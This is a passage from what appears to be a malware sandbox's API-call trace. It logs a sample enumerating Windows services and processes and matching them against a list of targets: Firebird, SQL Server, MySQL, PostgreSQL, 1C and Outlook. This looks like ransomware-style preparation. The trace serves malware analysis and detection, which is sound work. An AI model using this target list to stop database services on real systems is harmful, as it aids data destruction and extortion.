(lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.686] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.686] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.686] lstrlenW (lpString="Spooler") returned 7 [0049.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.686] lstrlenW (lpString="SysMain") returned 7 [0049.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.686] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.686] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.686] lstrlenW (lpString="Themes") returned 6 [0049.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.686] lstrlenW (lpString="TrkWks") returned 6 [0049.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.686] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.687] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.687] lstrlenW (lpString="UxSms") returned 5 [0049.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.687] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.687] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.687] lstrlenW (lpString="VSS") returned 3 [0049.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.687] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.687] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.687] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.687] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.687] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.687] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.687] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.687] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.687] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.688] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.688] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.688] lstrlenW (lpString="Winmgmt") returned 7 [0049.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.688] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.688] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.688] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b4738 | out: hHeap=0x5a0000) returned 1 [0049.688] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0049.691] Process32FirstW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.691] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.692] lstrlenW (lpString="System") returned 6 [0049.692] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.692] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.692] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.692] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.692] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.692] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.692] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.692] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.693] lstrlenW (lpString="smss.exe") returned 8 [0049.693] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.693] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.693] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.693] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.693] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.693] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.693] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.693] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.694] lstrlenW (lpString="csrss.exe") returned 9 [0049.694] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.694] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.694] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.694] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.694] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.694] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.694] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.694] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.695] lstrlenW (lpString="wininit.exe") returned 11 [0049.695] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.695] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.695] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.695] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0049.695] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0049.695] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0049.695] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0049.695] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.696] lstrlenW (lpString="csrss.exe") returned 9 [0049.696] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.696] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.697] lstrlenW (lpString="winlogon.exe") returned 12 [0049.697] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.697] lstrlenW (lpString="services.exe") returned 12 [0049.697] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.698] lstrlenW (lpString="lsass.exe") returned 9 [0049.698] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.699] lstrlenW (lpString="lsm.exe") returned 7 [0049.699] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.699] lstrlenW (lpString="svchost.exe") returned 11 [0049.699] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.700] lstrlenW (lpString="svchost.exe") returned 11 [0049.700] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.701] lstrlenW (lpString="svchost.exe") returned 11 [0049.701] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.701] lstrlenW (lpString="svchost.exe") returned 11 [0049.701] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.702] lstrlenW (lpString="svchost.exe") returned 11 [0049.702] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.702] lstrlenW (lpString="audiodg.exe") returned 11 [0049.702] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.703] lstrlenW (lpString="svchost.exe") returned 11 [0049.703] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.703] lstrlenW (lpString="svchost.exe") returned 11 [0049.703] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.704] lstrlenW (lpString="dwm.exe") returned 7 [0049.704] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.704] lstrlenW (lpString="explorer.exe") returned 12 [0049.704] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.705] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.705] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.705] lstrlenW (lpString="taskhost.exe") returned 12 [0049.705] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.706] lstrlenW (lpString="svchost.exe") returned 11 [0049.706] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.706] lstrlenW (lpString="taskeng.exe") returned 11 [0049.707] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.707] lstrlenW (lpString="taskhost.exe") returned 12 [0049.707] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0049.708] lstrlenW (lpString="promotesrouting.exe") returned 19 [0049.708] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0049.708] lstrlenW (lpString="rxcalled.exe") returned 12 [0049.708] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0049.709] lstrlenW (lpString="off.exe") returned 7 [0049.709] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0049.710] lstrlenW (lpString="mayorintl.exe") returned 13 [0049.710] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0049.710] lstrlenW (lpString="gzip-june.exe") returned 13 [0049.710] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0049.711] lstrlenW (lpString="lsnavy.exe") returned 10 [0049.711] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0049.712] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0049.712] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0049.843] lstrlenW (lpString="specifications.exe") returned 18 [0049.843] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0049.844] lstrlenW (lpString="soup-mario.exe") returned 14 [0049.844] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0049.844] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0049.845] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0049.845] lstrlenW (lpString="platformsprivate.exe") returned 20 [0049.845] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0049.846] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0049.846] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0049.846] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0049.846] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0049.847] lstrlenW (lpString="scan-allows.exe") returned 15 [0049.847] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0049.847] lstrlenW (lpString="mwprovince.exe") returned 14 [0049.847] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0049.848] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0049.848] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0049.848] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0049.848] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0049.849] lstrlenW (lpString="contacting.exe") returned 14 [0049.849] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0049.849] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0049.849] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0049.850] lstrlenW (lpString="jpmanagers.exe") returned 14 [0049.850] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0049.850] lstrlenW (lpString="motor.exe") returned 9 [0049.850] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0049.851] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0049.851] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0049.851] lstrlenW (lpString="toshiba.exe") returned 11 [0049.851] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.852] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.852] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0049.853] lstrlenW (lpString="mobsync.exe") returned 11 [0049.853] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, 